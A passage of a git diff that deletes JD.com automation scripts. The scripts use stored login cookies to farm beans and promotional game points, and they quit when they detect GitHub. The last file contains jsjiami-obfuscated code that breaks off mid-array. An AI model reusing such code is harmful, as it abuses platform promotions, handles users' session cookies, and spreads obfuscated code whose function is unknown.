this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ljd_xh.js b/jd_ljd_xh.js deleted file mode 100644 index 50a7f3ec8..000000000 --- a/jd_ljd_xh.js +++ /dev/null @@ -1,390 +0,0 @@ -/* - * 领京豆,修复死循环 - * By X1a0He - * https://github.com/X1a0He/jd_scripts_fixed - * */ -const $ = new Env("领京豆"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = "", message = ``; -$.taskInfos = []; -$.viewAppHome = false; -$.isLogin = true; -$.addedGrowth = 0; -if($.isNode()){ - Object.keys(jdCookieNode).forEach((item) => {cookiesArr.push(jdCookieNode[item]);}); - if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie),].filter((item) => !!item); -!(async() => { - if(!cookiesArr[0]){ - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { "open-url": "https://bean.m.jd.com/" }); - return; - } - for(let i = 0; i < cookiesArr.length; i++){ - if(cookiesArr[i]){ - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - message += `[京东账号${$.index} ${$.UserName}] \n`; - console.log(`[京东账号${$.index} ${$.UserName}] 正在执行...`); - await main(); - message += `\n` - await $.wait(1000); - } - } - if($.isNode()){ - console.log('正在发送通知...') - await notify.sendNotify(`${$.name}`, `${message}`) - } -})().catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); -}).finally(() => { - $.done(); -}); - -function taskUrl_xh(functionId, body){ - return { - "url": `https://api.m.jd.com/client.action?functionId=${functionId}&body=${encodeURIComponent(body)}&appid=ld&client=m&clientVersion=9.4.4`, - 'headers': { - 'Cookie': cookie, - 'UserAgent': 'User-Agent: jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)', - }, - } -} - -async function main(){ - $.addedGrowth = 0; - $.isLogin = true; - // 先领取早起福利 - console.log(`尝试领取早起福利...`) - await taskRequest("morningGetBean", `{"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}`) - // 获取任务列表 - if($.isLogin){ - do { - $.taskInfos = [] - await taskRequest("beanTaskList", `{"viewChannel":"AppHome"}`) - // 获取完任务列表就开始做任务了 - for(let task of $.taskInfos){ - // 任务未完成 - if(task.status === 1){ - for(let subTask of task.subTaskVOS){ - if(subTask.status === 1){ - console.log(`[${task.taskName}] 正在做任务...`) - if(task.waitDuration !== 0){ - await taskRequest("beanDoTask", `{"actionType":1,"taskToken":"${subTask.taskToken}"}`) - console.log(`[${task.taskName}] 等待 ${task.waitDuration} 秒`) - await $.wait(task.waitDuration * 1000) - await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) - } else await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) - } - await $.wait(3000) - } - } - } - } while($.taskInfos.length !== 0); - // 从京东首页领京豆进入 - if(!$.viewAppHome){ - console.log(`[从京东首页领京豆进入] 正在做任务...`) - await taskRequest("beanHomeIconDoTask", `{"flag":"0","viewChannel":"AppHome"}`) - if(!$.viewAppHome){ - await $.wait(2000) - await taskRequest("beanHomeIconDoTask", `{"flag":"1","viewChannel":"AppHome"}`) - } - } - message += `[本次执行] 获得成长值:${$.addedGrowth}\n` - } -} - -function taskRequest(functionId, body){ - return new Promise((resolve) => { - let options = taskUrl_xh(functionId, body); - $.get(options, (err, resp, data) => { - try{ - if(safeGet(data)){ - data = JSON.parse(data); - if(data.code === "3"){ - console.log(`用户未登录`) - message += `用户未登录` - $.isLogin = false; - return; - } - if(data.code === "0"){ - switch(functionId){ - case "morningGetBean": - if(data.data.awardResultFlag === "1"){ - console.log(`${data.data.bizMsg}, 获得京豆 ${data.data.beanNum} 个\n`) - message += `[早起福利] 获得京豆 ${data.data.beanNum} 个\n` - } else { - console.log(`执行失败,原因:${data.data.bizMsg}\n`) - message += `[早起福利] ${data.data.bizMsg} \n` - } - break; - case "beanTaskList" : - for(let task of data.data.taskInfos) task.status === 1 ? $.taskInfos.push(task) : '' - $.viewAppHome = data.data.viewAppHome.doneTask - break; - case "beanDoTask" : - if(typeof data.errorCode === "undefined"){ - if(data.data.taskStatus === 1 || data.data.taskStatus === 2){ - console.log(`${data.data.bizMsg}\n`) - $.addedGrowth += data.data.growthResult.addedGrowth - } - } else console.log(`${data.data.errorMessage}\n`) - break; - case "beanHomeIconDoTask": - if(typeof data.errorCode === "undefined"){ - $.addedGrowth += 50; - console.log(`${data.data.remindMsg}\n`) - } else console.log(`${data.errorMessage}`) - } - } - } - } catch(e){ - console.log(e); - } finally{ - resolve(); - } - }); - }); -} - -function safeGet(data){ - try{ - if(typeof JSON.parse(data) == "object"){ - return true; - } - } catch(e){ - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -// prettier-ignore -function Env(t, e){ - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s{ - constructor(t){this.env = t} - - send(t, e = "GET"){ - t = "string" == typeof t ? { url: t } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) - } - - get(t){return this.send.call(this.env, t)} - - post(t){return this.send.call(this.env, t, "POST")} - } - - return new class{ - constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} - - isNode(){return "undefined" != typeof module && !!module.exports} - - isQuanX(){return "undefined" != typeof $task} - - isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} - - isLoon(){return "undefined" != typeof $loon} - - toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} - - toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} - - getjson(t, e){ - let s = e; - const i = this.getdata(t); - if(i) try{s = JSON.parse(this.getdata(t))} catch{} - return s - } - - setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} - - getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} - - runScript(t, e){ - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { script_text: t, mock_type: "cron", timeout: r }, - headers: { "X-Key": o, Accept: "*/*" } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata(){ - if(!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if(!s && !i) return {}; - { - const i = s ? t : e; - try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} - } - } - } - - writedata(){ - if(this.isNode()){ - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s){ - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for(const t of i) if(r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} - - getdata(t){ - let e = this.getval(t); - if(/^@/.test(t)){ - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if(r) try{ - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch(t){e = ""} - } - return e - } - - setdata(t, e){ - let s = !1; - if(/^@/.test(e)){ - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try{ - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch(e){ - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} - - setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} - - initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} - - get(t, e = (() => {})){ - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try{ - if(t.headers["set-cookie"]){ - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch(t){this.logErr(t)} - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => {})){ - if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); else if(this.isNode()){ - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null){ - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r){ - const o = t => { - if(!t) return t; - if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if("object" == typeof t){ - if(this.isLoon()){ - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if(this.isQuanX()){ - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if(this.isSurge()){ - let e = t.url || t.openUrl || t["open-url"]; - return { url: e } - } - } - }; - if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} - - logErr(t, e){ - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t){return new Promise(e => setTimeout(e, t))} - - done(t = {}){ - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/jd_loreal_game.js b/jd_loreal_game.js deleted file mode 100644 index 560d0fc2a..000000000 --- a/jd_loreal_game.js +++ /dev/null @@ -1,651 +0,0 @@ -/* -欧莱雅追光赛 -@Leaf - -只做普通任务,不做邀请。辣鸡活动不值得开卡 -开卡之后才能抽奖,想要抽的再自己开卡吧 - -cron: 25 10,20 * * * -*/ -const got = require("got"); -const $ = new Env("欧莱雅追光赛"); - -let defaultUA = 'JD4iPhone/168158 (iPhone; iOS 15.0; Scale/3.00)' -let Referer = 'https://service.vapp.jd.com/83696F0817412432030952FF72117A11/1/page-frame.html' -let phaseId = '' -let goodsList = [] -let skipTask = ['purchaseProducts','help'] -let venderId = '1000002662' - -let NUM_MAX_COMMON_RETRY = 2 -let WAIT_TIME_COMMON_RETRY = 200 - -/////////////////////////////////////////////////////////////////// -class UserClass { - constructor(paramIn) { - Object.assign(this,paramIn) - this.name = decodeURIComponent(this.pt_pin) - this.valid = false - this.auth = '' - this.canDraw = true - } - - populateUrlObject(paramIn={}){ - let host = paramIn.url.replace('//','/').split('/')[1] - let queryStr = paramIn.queryParam ? '?' + $.json2str({obj:paramIn.queryParam,connector:'&'}) : '' - let urlObject = { - url: paramIn.url + queryStr, - headers: { - 'Host': host, - 'Connection': 'keep-alive', - 'Referer': Referer, - 'User-Agent': defaultUA, - 'Authorization': this.auth, - }, - timeout: 5000, - } - if(paramIn.headers) { - Object.assign(urlObject.headers,paramIn.headers) - } - if(paramIn.body) { - let str = paramIn.body - let contentType = paramIn['Content-Type'] || 'application/json' - if(typeof paramIn.body === "object") { - if(contentType.includes('json')) { - str = JSON.stringify(paramIn.body) - } else { - let connector = paramIn.connector===undefined ? '&' : paramIn.connector - let encodeUrl = paramIn.encodeUrl===undefined ? true : paramIn.encodeUrl - let isSort = paramIn.isSort===undefined ? true : paramIn.isSort - let objParam = {obj:paramIn.body,connector,encodeUrl,isSort} - str = $.json2str(objParam) - } - } - urlObject.body = str - urlObject.headers['Content-Type'] = contentType - urlObject.headers['Content-Length'] = urlObject.body ? urlObject.body.length : 0 - } - return urlObject; - } - - async taskApi(paramIn={}) { - let paramOut = { - statusCode: -1, - } - let numRetry = 0 - try { - while(paramOut.statusCode == -1 && numRetry <= NUM_MAX_COMMON_RETRY) { - numRetry++ - await got[paramIn.method](paramIn.urlObject).then(async resp => { - paramOut.statusCode = resp?.statusCode || paramOut.statusCode - paramOut.resp = resp - if(resp?.statusCode == 200 || resp?.statusCode == 201) { - if(resp?.body) { - try { - paramOut.result = JSON.parse(resp.body) - } catch(e) { - paramOut.result = resp.body - } - } else { - if(!paramIn.allowNull) { - console.log(`账号${this.index}[${this.name}]调用[${paramIn.method}][${paramIn.fn}]出错,返回为空`) - if(numRetry < NUM_MAX_COMMON_RETRY) { - console.log(`账号${this.index}[${this.name}]重试第${numRetry}次`) - //允许重试,将状态码设置为-1 - paramOut.statusCode = -1 - } - } - } - } else { - console.log(`账号${this.index}[${this.name}]调用[${paramIn.method}][${paramIn.fn}]出错,返回状态码[${paramOut.statusCode}]`) - if(numRetry <= NUM_MAX_COMMON_RETRY) { - console.log(`账号${this.index}[${this.name}]重试第${numRetry}次`) - //允许重试,将状态码设置为-1 - paramOut.statusCode = -1 - await $.wait(WAIT_TIME_COMMON_RETRY); - } - } - }, async err => { - paramOut.statusCode = err?.response?.statusCode || paramOut.statusCode - paramOut.err = err - if(paramOut.statusCode != -1) { - console.log(`账号${this.index}[${this.name}]调用[${paramIn.method}][${paramIn.fn}]出错,返回状态码[${paramOut.statusCode}]`) - if(numRetry <= NUM_MAX_COMMON_RETRY) { - console.log(`账号${this.index}[${this.name}]重试第${numRetry}次`) - //允许重试,将状态码设置为-1 - paramOut.statusCode = -1 - await $.wait(WAIT_TIME_COMMON_RETRY); - } - } else { - console.log(`账号${this.index}[${this.name}]调用[${paramIn.method}][${paramIn.fn}]没有返回,重试第${numRetry}次`) - } - }) - } - } catch(e) { - console.log(e) - } finally { - return Promise.resolve(paramOut); - } - } - - async getAppInfo(paramIn={}) { - let paramOut = {} - try { - let urlObjParam = { - url : `https://olytxz.guanmeikj.com/api/getAppInfo`, - } - let urlObject = this.populateUrlObject(urlObjParam) - let taskApiParam = { - fn : 'getAppInfo', - method : 'get', - urlObject : urlObject, - } - paramOut = await this.taskApi(taskApiParam) - if(paramOut.result && typeof paramOut.result === 'object') { - let result = paramOut.result - if(result.code == 200) { - phaseId = result.data.phaseId - goodsList = result.data.cfg.add_goods.ids - } else { - console.log(`获取游戏参数失败:${result.errorMessage||result.message}`) - } - } - } catch(e) { - console.log(e) - } finally { - return Promise.resolve(paramOut) - } - } - - async isvObfuscator(paramIn={}) { - let paramOut = {} - try { - let urlObject = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Connection': 'keep-alive', - 'Cookie': this.cookie, - 'User-Agent': defaultUA, - }, - body: `body=%7B%22url%22%3A%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=1613464bc32f8ab8fff55da74e0b43bf9ef1900e&client=apple&clientVersion=10.1.4&st=1646275349648&sv=111&sign=a9415c2cf9ef41af64faeae72b329ea1` - } - let taskApiParam = { - fn : 'isvObfuscator', - method : 'post', - urlObject : urlObject, - } - paramOut = await this.taskApi(taskApiParam) - if(paramOut.result && typeof paramOut.result === 'object') { - let result = paramOut.result - if(result.code == 0) { - this.isvToken = result.token - await this.jdLogin(); - } else { - console.log(`获取isvToken失败:${result.errorMessage||result.message}`) - } - } - } catch(e) { - console.log(e) - } finally { - return Promise.resolve(paramOut) - } - } - - async jdLogin(paramIn={}) { - let paramOut = {} - try { - let urlObjParam = { - url : `https://olytxz.guanmeikj.com/api/libUser/jdLogin`, - queryParam: { - isvToken: this.isvToken, - phaseId: phaseId, - }, - } - let urlObject = this.populateUrlObject(urlObjParam) - let taskApiParam = { - fn : 'jdLogin', - method : 'get', - urlObject : urlObject, - } - paramOut = await this.taskApi(taskApiParam) - if(paramOut.result && typeof paramOut.result === 'object') { - let result = paramOut.result - if(result.code == 200) { - this.auth = result.data.token - await this.getMyInfo(); - } else { - console.log(`获取token失败:${result.errorMessage||result.message}`) - } - } - } catch(e) { - console.log(e) - } finally { - return Promise.resolve(paramOut) - } - } - - async getMyInfo(paramIn={}) { - let paramOut = {} - try { - let urlObjParam = { - url : `https://olytxz.guanmeikj.com/api/getMyInfo`, - queryParam: { - sopenId: '', - }, - } - let urlObject = this.populateUrlObject(urlObjParam) - let taskApiParam = { - fn : 'getMyInfo', - method : 'get', - urlObject : urlObject, - } - paramOut = await this.taskApi(taskApiParam) - if(paramOut.result && typeof paramOut.result === 'object') { - let result = paramOut.result - if(result.code == 200) { - this.score = result.data.score - console.log(`积分:${this.score}`) - await this.getTaskList(); - while(this.score > 300 && this.canDraw) { - this.score -= 300; - //await $.wait(500); - await this.luckPrize(); - } - } else { - console.log(`获取个人信息失败:${result.errorMessage||result.message}`) - } - } - } catch(e) { - console.log(e) - } finally { - return Promise.resolve(paramOut) - } - } - - async getTaskList(paramIn={}) { - let paramOut = {} - try { - let urlObjParam = { - url : `https://olytxz.guanmeikj.com/api/getTaskList`, - } - let urlObject = this.populateUrlObject(urlObjParam) - let taskApiParam = { - fn : 'getTaskList', - method : 'get', - urlObject : urlObject, - } - paramOut = await this.taskApi(taskApiParam) - if(paramOut.result && typeof paramOut.result === 'object') { - let result = paramOut.result - //console.log(result) - if(result.code == 200) { - this.playNum = result.data.playNum - console.log(`游戏次数:${this.playNum}`) - for(let task of result.data.taskList) { - console.log(`任务[${task.name}] -- ${task.state?'已':'未'}完成,${task.num}/${task.max}`) - if(!task.state && !skipTask.includes(task.key)) { - for(let i=task.num; i { - if (typeof $request !== "undefined") { - await GetRewrite() - }else { - if(!(await $.checkEnv())) return; - - for(let user of $.userList) { - await user.userTask(); - } - } -})() -.catch((e) => console.log(e)) -.finally(() => $.done()) - -//////////////////////////////////////////////////////////////////// -function Env(name,env) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - return new class { - constructor(name,env) { - this.name = name - this.notifyStr = '' - this.envSplitor = ['&','\n'] - //默认读取环境变量的JD_COOKIE - this.userCookie = process.env.JD_COOKIE || ''; - this.userList = [] - this.userIdx = 0 - this.userCount = 0 - Object.assign(this,env) - this.startTime = Date.now() - console.log(`${this.name} 开始运行:\n`) - } - async checkEnv(paramIn={}) { - if(this.userCookie) { - let splitor = this.envSplitor[0]; - if(paramIn.splitor) { - splitor = paramIn.splitor - } else { - for(let sp of this.envSplitor) { - if(this.userCookie.indexOf(sp) > -1) { - splitor = sp; - break; - } - } - } - for(let userCookies of this.userCookie.split(splitor)) { - if(userCookies) { - let pt_key = userCookies.match(/pt_key=([\w\-]+)/) - let pt_pin = userCookies.match(/pt_pin=([\w\-\%]+)/) - if(pt_key && pt_pin) { - let param = { - cookie: userCookies, - pt_key: pt_key[1], - pt_pin: pt_pin[1], - index: ++this.userIdx, - } - this.userList.push(new UserClass(param)) - } - } - } - this.userCount = this.userList.length - } else { - console.log('未找到有效的CK') - return false; - } - console.log(`共找到${this.userCount}个账号`) - return true - } - async showmsg(paramIn={}) { - if(!this.notifyStr) return; - let notifyBody = this.name + " 运行通知\n\n" + this.notifyStr - var notify = require('./sendNotify'); - console.log('\n============== 推送 ==============') - await notify.sendNotify(this.name, notifyBody); - } - async done(paramIn={}) { - await this.showmsg(); - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - console.log(`\n${this.name} 运行结束,共运行了 ${s} 秒!`) - process.exit(0) - } - logAndNotify(str) { - console.log(str) - this.notifyStr += str + '\n' - } - logAndNotifyWithTime(str) { - this.logAndNotify(`[${this.time({'format':'hh:mm:ss.S'})}]${str}`) - } - logWithTime(str) { - console.log(`[${this.time({'format':'hh:mm:ss.S'})}]${str}`) - } - getMin(a,b){ - return ((anumStr.length) ? (len-numStr.length) : 0 - let retStr = '' - for(let i=0; inumStr.length) ? (len-numStr.length) : 0 - let retStr = '' - for(let i=0; i setTimeout(e, t)) - } - randomWait(basetime,randomtime) { - if(basetime == 0) return; - let t = Math.floor(Math.random()*randomtime) + basetime - return this.wait(t) - } - time(paramIn={}) { - let str = paramIn.format - let xt = paramIn.time ? new Date(paramIn.time) : new Date - let e = { - "M+": xt.getMonth() + 1, - "d+": xt.getDate(), - "h+": xt.getHours(), - "m+": xt.getMinutes(), - "s+": xt.getSeconds(), - "q+": Math.floor((xt.getMonth() + 3) / 3), - S: xt.getMilliseconds() - }; - /(y+)/.test(str) && (str = str.replace(RegExp.$1, (xt.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let s in e) - new RegExp("(" + s + ")").test(str) && (str = str.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); - return str - } - }(name,env) -} \ No newline at end of file diff --git a/jd_lzdz1_customized2.js b/jd_lzdz1_customized2.js deleted file mode 100644 index 11713bd0c..000000000 --- a/jd_lzdz1_customized2.js +++ /dev/null @@ -1,26 +0,0 @@ -/* -大牌狂欢品质嗨购 - -*/ -const $ = new Env("大牌狂欢品质嗨购"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require("./sendNotify") : ""; -let cookiesArr = [], cookie = "", message = ""; -let ownCode = null; -let authorCodeList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - let cookiesData = $.getdata("CookiesJD") || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map((item) => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter((item) => !!item); -} -var _0xodK='jsjiami.com.v6',_0xodK_=['‮_0xodK'],_0x22b9=[_0xodK,'WmNOcmk=','VlJmWEo=','Zm12SUQ=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','S3dqYWg=','TWNvbFo=','dFlQZ1Q=','bHdPcXA=','5L2g5aW977ya','bmlja25hbWU=','O0FVVEhfQ19VU0VSPQ==','Q2F1RU8=','U0Rvb3c=','QXBvZ0I=','YU9XRGQ=','bGN6Ylg=','V2VtSFc=','clRGZk0=','eU5WZ3E=','bVFQbk8=','d0xtdnA=','dktNVlE=','UW9oWXI=','b1poY0o=','bmVUUko=','cHBTd0E=','ekV6eEQ=','TWZ5clo=','cldDcHg=','T3dsaVQ=','WVhKYnY=','QnFkdlI=','TE92c3o=','SWxMVEI=','R25oSFE=','dURCZEc=','WHRtTmQ=','VEZRWXE=','VGJQa2Y=','YnRLVU4=','YXFIRGo=','VnhwSVg=','aktxR2Y=','TkZ5T1c=','QVRnZEo=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','ZW5NZWY=','dXhwUVE=','VXdzTUs=','d1lnc3c=','elhOQkU=','aUV4SnU=','R1hQamo=','d3d2T0U=','SnNWT2M=','Z0toaGc=','aFVMV1Y=','Ykp0VUQ=','Y1BNRVo=','V25zUWo=','dkJ3bkQ=','bkJuVG4=','b3JpckI=','Q1FyRmk=','SHFMR2o=','SkRfVVNFUl9BR0VOVA==','cFlNWUk=','ZWtJRUM=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','Q0lhUHE=','clZLTmc=','elNXZ0E=','Vm9wSVU=','WWZKWlA=','Uk9FalU=','SVhmZ1E=','a3hHaXc=','S3lHRUo=','V25TQmY=','T3JoVWc=','SEJ4RXI=','RVh6Zks=','R2F